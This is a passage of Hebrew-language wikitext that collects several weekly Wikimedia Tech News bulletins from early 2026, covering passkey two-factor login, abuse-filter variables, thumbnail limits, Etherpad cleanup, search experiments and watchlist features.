* [[mw:Special:MyLanguage/Wikidata Platform|צוות פלטפורמת ויקינתונים של הקרן]] (WDP) פרסם את [[d:Special:MyLanguage/Wikidata:Wikidata Platform team/Newsletter|הידיעון לחודש ינואר]], הכולל עדכונים על הורדת נקודת הקצה לגרף השלם הישנה, שינוי במדיניות User-Agent, שעות קבלה חודשיות בנושא העברת Blazegraph, ומאמאצים לצמצם את הבעיות שנוצרו עקב חלוקת הגרף. ניתן [[m:Special:MyLanguage/Global message delivery/Targets/WDP team updates|לעשות מינוי]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.12|MediaWiki]]

'''פגישות ואירועים'''
* [[mw:Wikimedia Hackathon Northwestern Europe 2026|ההאקתון הצפון מערבי של ויקימדיה לשנת 2026]] יתקיין בין 13 ל-14 במרץ בארנהיים שבהולנד. תקופת הגשת הבקשות להשתתפות התחילה באמצע דצמבר ותסתיים עוד מעט או ברגע שיתקבלו מספיק בקשות. מדובר בהאקתון טכני בן יומיים המאחד אנשי ויקימדיה מהאזור. מקווים שתגיעו!

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/04|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W04&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:30, 19 בינואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29943403 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 05 ==

&lt;section begin=&quot;technews-2026-W05&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/05|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* קרן ויקימדיה מזמינה להעיר הערות עד 28 בפברואר לגבי [[m:Special:MyLanguage/Product and Technology Advisory Council/Year1 Reflections and Proposed Way Forward 2026 Update|תוכניות מוצעות]] של [[:m:Special:MyLanguage/Product and Technology Advisory Council|המועצה המייעצת למוצר וטכנולוגיה]].
* כל המשתמשים הרשומים יכולים להשתמש עכשיו במפתח מעבר (passkey) עבור [[m:Special:MyLanguage/Help:Two-factor authentication|האימות הדו-שלבי]], 2FA. מפתחות המעבר הם דרך פשוטה להתחבר ללא מכשיר נוסף. הם מאמתים את זהות המשתמש באמצעות טביעת אצבע, סריקת פנים או קוד PIN. כדי להפעיל מפתח מעבר יש קודם להפעיל שרות 2FA רגיל. כרגע להתחברות עם מפתח המעבר על המשתמשים להכניס גם ססמה. בהמשך הרבעון הצורך הזה יתבטל, ואפשר יהיה להתחבר בלחיצה אחת עם המפתח. המשתמשים עם הרשאות מורחבות יצטרכו גם להפעיל 2FA רגיל. מדובר בחלק מ[[mw:Special:MyLanguage/Product Safety and Integrity/Account Security|מיזם ההבטחה]].
* תורמים לא רשומים בכתובת IP חסומות או בטווחים חסומים יכולים עכשיו להתבטא באתרי ויקי כדי לערער על החסימה באמצעות יצירת חשבון זמני וערעור על דף שיחת המשתמש, אלא אם הופעלה האפשרות למנוע מהמשתמש לערוך את דף שיחתו. זה פותר את בעיית המשתמשים הלא מחוברים לחשבון שלא יכולים לבצע הליך שחרור מהחסימה הרגיל דרך דף שיחתם. [https://phabricator.wikimedia.org/T398673]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:20|התקלה שדווחה|כל {{formatnum:20}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, באימות הדו שלבי, 2FA, עודכן התיאור של דרכי הפעולה בדף הניהול. התיאור נעשה בהיר יותר וקל יותר להבנה ולשימוש. [https://phabricator.wikimedia.org/T332385]

'''עדכונים לעורכים הטכניים'''
* התווסף משתנה חדש למסנן ההשחתות, &lt;code&gt;account_type&lt;/code&gt;, כדי לספק דרך אמינה לזיהוי סוג החשבון שנוצר בפעולות &lt;code&gt;createaccount&lt;/code&gt; או &lt;code&gt;autocreateaccount&lt;/code&gt;. כחלק מהשינוי שונה שמו של המשתנה &lt;code&gt;accountname&lt;/code&gt; ל-&lt;code&gt;account_name&lt;/code&gt;, ו-&lt;code&gt;accountname&lt;/code&gt; הפך למיושן. על עורכי המסננים לעדכן את אלו שמשתמשים בבדיקות סוגי החשבון שנעשו hardcoded או במשתנה המיושן. [https://phabricator.wikimedia.org/T414049]
* בקרוב יפסיקו לעבוד קריאות לתמונות ממוזערות בגדלים לא תקניים ושימוש בקריאות לא תקניות אליהם בשאילתות ישרות ל-&lt;code dir=ltr&gt;&lt;nowiki&gt;upload.wikimedia.org/…&lt;/nowiki&gt;&lt;/code&gt;. זה נעשה כדי למנוע שימוש חיצוני לרעה באמצעות סורקי רשת ובוטים. חלק מהמשתמשים בעלי CSS/JS מותאמים אישית, עורכי ממשק הרשאים לערוך גאדג'טים ועיצובים מקומיים ומפעילי הכלים יצטרכו לעדכן את הקוד לשימוש בגדלים תקניים של התמונות הממוזערות. ניתן לקבל [[phab:T414805|פרטים, קישורים לחיפוש ודוגמאות לטיקון]] בפבריקטור.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.13|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/05|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W05&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:18, 26 בינואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29969530 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 06 ==

&lt;section begin=&quot;technews-2026-W06&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/06|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* הדף &quot;{{int:pageinfo-toolboxlink}}&quot; המציג נתונים על דפי ויקי, כמו [{{fullurl:{{FULLPAGENAME}}|action=info}} כאן], כולל מעכשיו תוכן עניינים אוטומטי. אם הוא הוכנס קודם באמצעות עריכה מקומית של &lt;span style=&quot;white-space:nowrap;&quot;&gt;[[MediaWiki:Pageinfo-header]]&lt;/span&gt;, ניתן להסיר זאת. [https://phabricator.wikimedia.org/T363726]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, העורך החזותי הוסיף בעבר הדגשה או גופן נטוי בתיאורי קישורים ובכך סיבך את קוד ויקי. זה תוקן עכשיו. [https://phabricator.wikimedia.org/T409669]

'''עדכונים לעורכים הטכניים'''
* לא פורסם דאמפ XML ב-20 לינואר. מעכשיו הדאמפים יווצרו פעם בחודש בלבד. [https://phabricator.wikimedia.org/T414389]
* צוות הממשקים של מדיה-ויקי הפסיק לתמוך בכל נקודות קצה להמרה המסתיימות בקו נטוי ב-[https://www.mediawiki.org/wiki/Special:MyLanguage/API:REST%20API REST API של מדיה ויקי]. כל משתמשי API המשתמשים בנקודות כאלו מתבקשים לעבור לגרסה ללא קו נטוי. במקרה של שאלות או בעיות ניתן לפתוח כרטיס תקלה חדשה בפבריקטור באמצעות התג [https://phabricator.wikimedia.org/project/view/6931/ MW-Interfaces-Team board].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.14|MediaWiki]]

'''מגדלור השבוע'''
* תזכורת למשתמשים על כך שקרן ויקימדיה פרסמה מספר שאלות מנחות לקראת התוכנית השנתית לתקופה בין יולי 2026 עד יוני 2027 ב[[m:Special:MyLanguage/Wikimedia Foundation Annual Plan/2026-2027/Product &amp; Technology OKRs|מטא]] וב-[[diffblog:2025/12/10/shaping-wikimedia-foundations-2026-2027-annual-goals-key-questions-for-the-wikimedia-movement/|Diff]]. השאלות מתמקדות בטרנדים עולמיים, חוויה מהירה יותר ובריאה יותר, תמיכה טובה יותר במשתמשים חדשים, חיזוק עורכים וחיזוק משתמשים מתקדמים, שיפור שיתוף פעולה בין מיזמים וגידול ושימור של קוראים. ניתן להשאיר משוב ולהציע רעיונות ב[[m:Talk:Wikimedia Foundation Annual Plan/2026-2027|דף השיחה]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/06|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W06&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:44, 2 בפברואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30000986 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 07 ==

&lt;section begin=&quot;technews-2026-W07&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/07|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[File:Maki-gift-15.svg|12px|link=|class=skin-invert|סקר המשאלות]] משתמשים מחוברים לחשבון בעלי רשימות מעקב גדולות או מורכבות יכולים עכשיו לארגן ולסנן דפים במעקב כדי לשפר את תהליך עבודתם, באמצעות תכונה חדשה, [[mw:Special:MyLanguage/Help:Watchlist labels|תוויות רשימת המעקב]]. לאחר הוספת תוויות אישיות (למשל, דפים שיצרתי, דפים לניטור, דפי דיון) המשתמשים יוכלו לזהות מהר יותר את מה שדורש את תשומת ליבם, להוריד לחץ קוגניטיבי ולהגיב יותר ביעילות. זה משפר את שימושיות רשימת המעקב, במיוחד עבור העורכים הכבדים.
* תכונה חדשה בדף [[Special:Contributions|מיוחד:תרומות]] מציגה [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts|חשבונות זמניים]] שיש סיכוי גבוה שאותו בן אדם מנהל אותם, כדי לצמצם את הזמן הדרוש לניטור. בזמן בדיקת התרומות של החשבונות הזמניים יכולים עכשיו משתמשים בעלי גישה לכתובות IP לראות תרומות מחשבונות זמניים קשורים. התכונה מוצאת את כל כתובות ה-IP הקשורים לחשבון זמני נתון תוך כדי תקופה בה נשמרים הנתונים ומראה את כל התרומות של כל החשבונות הזמניים ששייכים לכתבות הללו. ניתן לקרוא [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts#February 2026: Improvements to the patroller tooling|פרטים נוספים]]. [https://phabricator.wikimedia.org/T415674] 
* כשעורכים רואים תצוגה מקדימה בעורך קוד מקור, מופיעה הודעת תזכורת בראש הדף על כך שמדובר בתצוגה מקדימה בלבד. מעכשיו הרקע שלה אפור נייטרלי במקום צהוב של אזהרה. זה עוזר להבדיל את ההודעה מאזהרות ממשיות, דוגמת התנגשות עריכה או בעיה ביעד ההפניה, שיופיעו עכשיו בתיבות אזהרה או שגיאה נפרדות. [https://phabricator.wikimedia.org/T414742]
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] מאפשרת צפיה ברשימות המעקב מאתרי ויקי רבים בדף אחד. ההרחבה ממשיכה להשתפר, ומעכשיו היא תומכת בהצגה נכונה של יותר מאתר ויקיבייס אחד בו זמנית, כמו, למשל, [[d:|ויקינתונים]] ו-[[testwikidata:|testwikidata]]. בנוסף תוקנו בעיות הכיווניות עבור המשתמשים המעדיפים להקבל את התצוגה בוויקינתונים בשפות מימין לשמאל, דוגמת עברית. [https://phabricator.wikimedia.org/T415440][https://phabricator.wikimedia.org/T415458]
* &quot;קישורי הקסם&quot; האוטומטיים עבור ISBN,&amp;rlm; RFC ו-PMID [[mw:Special:MyLanguage/Help:Magic links|הוכרזו כמיושנים משנת 2021]] עקב חוסר גמישות וקשי מעבר לשפות אחרות. חלק מאתרי ויקי החליפו בהצלחה את קישורי הקסם עבור RFC ועבור PMID לקישורים חיצוניים מתאימים, אבל בדרך כלל קיים צורך בתבנית להחלפת הפונקציונליות של קישורי הקסם עבור ISBN. מעכשיו קיימת [[mw:Special:MyLanguage/Help:Magic words#isbn|פונקציית פרסר חדשה]], &lt;code dir=ltr&gt;&lt;nowiki&gt;{{#isbn}}&lt;/nowiki&gt;&lt;/code&gt;, הבאה להחליף את הפונקציונליות הבסיסית של קישורי הקסם עבור ISBN. זה מקל על אתרי ויקי שרוצים להפסיק להשתמש בקישורי הקסם המיושנים. [https://phabricator.wikimedia.org/T145604]
* שני אתרי ויקי חדשים נוצרו: 
** {{int:project-localized-name-group-wikipedia}} בשפת [[d:Q35401|ג'ו]] ([[w:kaj:|&lt;code&gt;w:kaj:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T413283]
** {{int:project-localized-name-group-wikipedia}} בשפת [[d:Q1186896|הנוואט]] ([[w:ppl:|&lt;code&gt;w:ppl:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T413273]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. 

'''עדכונים לעורכים הטכניים'''
* נוצרה קבוצת משתמשים גלובלית חדשה בשם [[{{int:grouppage-local-bot}}|{{int:group-local-bot}}]]. היא תשמש לצרכים פנימיים בידי תוכנה כדי לאפשר לבוטים של הקהילות לעבור על הגבלות קצב העבודה שנוצרו כדי להלחם בבוטים ל[[w:he:גרידת נתונים|גרידת נתונים]]. החשבונות שקיבלו דגל בוט באתר ויקי אחד של הקרן לפחות יתווספו לקבוצה הזאת אוטומטית. זה לא ישנה את ההרשאות של הבוט. [https://phabricator.wikimedia.org/T415588]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.15|MediaWiki]]

'''פגישות ואירועים'''
* [[mw:Special:MyLanguage/MediaWiki Users and Developers Conference Spring 2026|ועדת המשתמשים והמפתחים של מדיה-ויקי, אביב 2026]] תתקיים בסולט לייק סיטי בארה&quot;ב בין 25 ל-27 במרץ. הארוע מאורגן בידי קהילת מדיה ויקי מחוץ לקרן ויקימדיה ועבורה. ניתן להציע נושאים ולהרשם כדי להשתתף. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/AZBWVI46SDEB65PGR5J6E4TYOQQEZXM7/]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/07|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W07&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 01:31, 10 בפברואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30026671 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 08 ==

&lt;section begin=&quot;technews-2026-W08&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/08|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Wikimedia Site Reliability Engineering|צוות SRE]] יבצע ניקוי כללי במופע ה-[[m:Special:MyLanguage/Etherpad|Etherpad]] של ויקימדיה, עורך מבוסס רשת לעריכה משותפת של מסמכים בזמן אמת. כל הקבצים יימחקו לגמרי אחרי 30 באפריל 2026. אם יתברר שיש צורך בהארכה הצוות ישקול את זה לפי מקרים ספציפיים. יש ליצור גיבוי מקומי לכל תוכן שחייבים לשמור, כי לא יהיה ניתן לשחזר את מה שיימחק. הניקוי עוזר לצמצם את גודל בסיס הנתונים ולהקטין את השפעת התשתית. Etherpad ימשיך לספק שירותי שיתוף פעולה בזמן אמת, אבל אין לצפות לשמירת תוכן לטווח ארוך. פעולות הניקוי יכולות לחזור בעתיד ללא אזהרה מראש. [https://phabricator.wikimedia.org/T415237]

'''עדכונים לעורכים'''
* צוות שליפת המידע יתחיל [[mw:Special:MyLanguage/Readers/Information Retrieval/Phase 1|ניסוי ביישומוני אנדרואיד לניידים]] שיבדוק יכולות של חיפוש המשלב שאילתות סמנטיות עם שאילתות לפי מילות מפתח. השיפור של חיפוש ויקי יאפשר לקוראים למצוא את מבוקשם ישירות בוויקיפדיה ביתר קלות. הניסוי יתחיל קודם בוויקיפדיה היוונית בסוף פברואר, ויצטרפו אליה גם ויקיפדיות האנגלית, הצרפתית והפורטוגזית במרץ. ניתן לקרוא פרטים נוספים ב-[https://diff.wikimedia.org/2026/01/08/semantic-search-making-it-easier-to-find-the-information-readers-want/ Diff].&amp;rlm; [https://www.mediawiki.org/wiki/Readers/Information_Retrieval]
* צוות הקוראים החדשים יתחיל ב[[mw:Special:MyLanguage/Readers/Reader Growth/WE3.10.2 Mobile Table of Contents|ניסוי]] למשתמשים בדפדפנים בניידים, במהלכו יתווסף תוכן העניינים וכל הפרקים בדף ייפתחו אוטומטית, וזאת כדי כדי ללמוד יותר על בעיות הניווט בהן נתקלים המשתמשים. הניסוי יתקיים בוויקיפדיות הערבית, הסינית, האנגלית, הצרפתית, האינדונזית והווייטנאמית.
* עד כה הופיעו הודעות למשתמשים ([[{{ns:8}}:Sitenotice]] או [[{{ns:8}}:Anonnotice]]) רק במצב מחשב. מעכשיו הם יופיעו בכל מקום. משתמשים בדפדפנים ניידים יראו אותם וכך יוכלו להתעדכן. על מפעילי האתרים להיות מוכנים לבדוק את ההודעות ולתקנן במידת הצורך כדי שהן לא יפריעו לערכים בניידים. במקרה של רצון לבטל את השינוי, מפעילי ממשק יכולים להוסיף את הקוד &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;#siteNotice { display: none; }&lt;/code&gt;&lt;/span&gt; לדף [[{{ns:8}}:Minerva.css]].&amp;rlm; [https://phabricator.wikimedia.org/T138572][https://phabricator.wikimedia.org/T416644]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:19|התקלה שדווחה|כל {{formatnum:19}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה התקלה בדף [[Special:RecentChanges|מיוחד:שינויים אחרונים]], בגללה לחיצת ההסתרה על מסננים  פעילים גרמה להעלמות לא מכוונת של הכפתור &quot;הצגת השינויים החדשים מאז ...&quot;. הכפתור פועל עכשיו בצורה תקינה. [https://phabricator.wikimedia.org/T406339]

'''עדכונים לעורכים הטכניים'''
* תיעוד חדש זמין כדי לעזור לעורכים לדבג תכונות הקשורות לחיפוש ויקי. הוא תומך בפתרון בעיות דוגמת אי הופעת דפים בתוצאות, קבלת דירוג שגוי, או כשצריך לבדוק מה התוכן שנעשה עליו אינדקס, מה שעוזר להקל על הבנה וניתוח של התנהגות החיפוש. ניתן לקבל [[mw:Help:CirrusSearch/Debug|פרטים נוספים]]. [https://phabricator.wikimedia.org/T411169]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.16|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/08|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W08&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:17, 16 בפברואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30086330 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 09 ==

&lt;section begin=&quot;technews-2026-W09&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/09|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Edit check/Reference Check|בדיקת ההערות]] התחילה לפעול בוויקיפדיה האנגלית, ובכך קיימת בכל ויקיפדיות. התכונה ממליצה למשתמשים החדשים להוסיף מקור לפני פרסום תוכן חדש, וזה מצמצם את כמות השחזורים בגלל מקורות ומשפר את האפשרות לאמת את המידע. בבדיקת A/B התוצאות היו משמעותיות, המשתמשים החדשים אצלם הופעלה בדיקת ההערות הוסיפו מקורות פי 2.2 פעמים יותר במצב מחשב ופי 17.5 יותר במצב נייד. [https://analytics.wikimedia.org/published/reports/editing/reference_check_ab_test_report_final_2025.html]
'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Extension:InterwikiSorting|ההרחבה InterwikiSorting]] שאפשרה [[m:Special:MyLanguage/Interwiki sorting order|למיין את קישורי הבינוויקי]] הוסרה מוויקיפדיה. כתוצאה מכך העורכים שהדליקו מיון במצב לא מצומצם, עם רשימת קישורים מלאה, יראו מעכשיו סדר אחר. הקישורים ימויינו לפי סדר האלפ-בית של קוד השפה שלהם. [https://phabricator.wikimedia.org/T253764]
* בהמשך השבוע יראו המשתמשים העורכים בעורך החזותי הנייד פרק בדף כפתור חדש לעריכת דף שלם. בלחיצה ניתן יהיה לערוך את הערך כולו. זה יעזור במקרים בהם השינוי שהתחיל בפרק מסויים גולש לפרקים אחרים. [https://phabricator.wikimedia.org/T387175][https://phabricator.wikimedia.org/T409112]
* [[mw:Special:MyLanguage/Readers/Reader Experience|צוות חוויית הקריאה]] מזמין עורכים להעריך האם המצב הכהה אצלם בוויקי עדיין נחשב לתכונת בטא, בהתאם לחוויותיהם לגבי טיב העבודה שלו במצב מחשב ובמצב נייד. אם התכונה נראית מוכנה, ניתן לעדכן את הודעות הממשק &lt;code dir=ltr&gt;MediaWiki:skin-theme-description&lt;/code&gt; ו-&lt;code dir=ltr&gt;MediaWiki:Vector-night-mode-beta-tag&lt;/code&gt; בהתאם, כדי להראות שהמצב הכהה מוכן ולא נחשב לבטא יותר.
* [[mw:Wikimedia_Apps/Team/iOS/Activity_Tab|לשונית הפעילות]] המשופרת המציגה תובנות לקוראים זמינה עכשיו לכל המשתמשים ביישומון ויקיפדיה ל-iOS, גרסת 7.9.0 ומעלה. לאחר בדיקת A/B שהראתה אחוז גבוה של משתמשים היוצרים חשבון בין אלו שהתכונה זמינה להם, היא נפרסה לכל 100% המשתמשים, יחד עם מספר עדכונים. לשונית הפעילות מראה עכשיו קו הזמן של הערכים שנערכו בידי המשתמש, מציעה תובנות שונות לגבי עריכה, דוגמת מונה העריכות וטרנדים לצפיית בערכים, ואפשרויות לשנות את החוויה ביישומון לפי העדפות אישיות.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שמנע מ[[mw:Special:MyLanguage/Extension:DiscussionTools|כלי שיחה]] לעבוד בניידים, והפונקציונליות המלאה חזרה לפעול. [https://phabricator.wikimedia.org/T415303]

'''עדכונים לעורכים הטכניים'''
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] מאפשרת צפיה ברשימות המעקב מאתרי ויקי רבים בדף אחד. [[mw:Special:MyLanguage/Extension:GlobalWatchlist|ההרחבה]] המאפשרת זאת ממשיכה להשתפר. השדרוג האחרון הוא יצירת [[mw:Extension:GlobalWatchlist#hook|hook חדש]], &lt;code dir=ltr&gt;ext.globalwatchlist.rebuild&lt;/code&gt;, שנדלק אחרי כל בנייה מחדש של רשימת המעקב. זה מאפשר ליצור גאדג'טים וסקריפטים אישיים עבור הדף המיוחד המדובר. [https://phabricator.wikimedia.org/T275159]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.17|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/09|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W09&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:04, 23 בפברואר 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30119102 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 10 ==

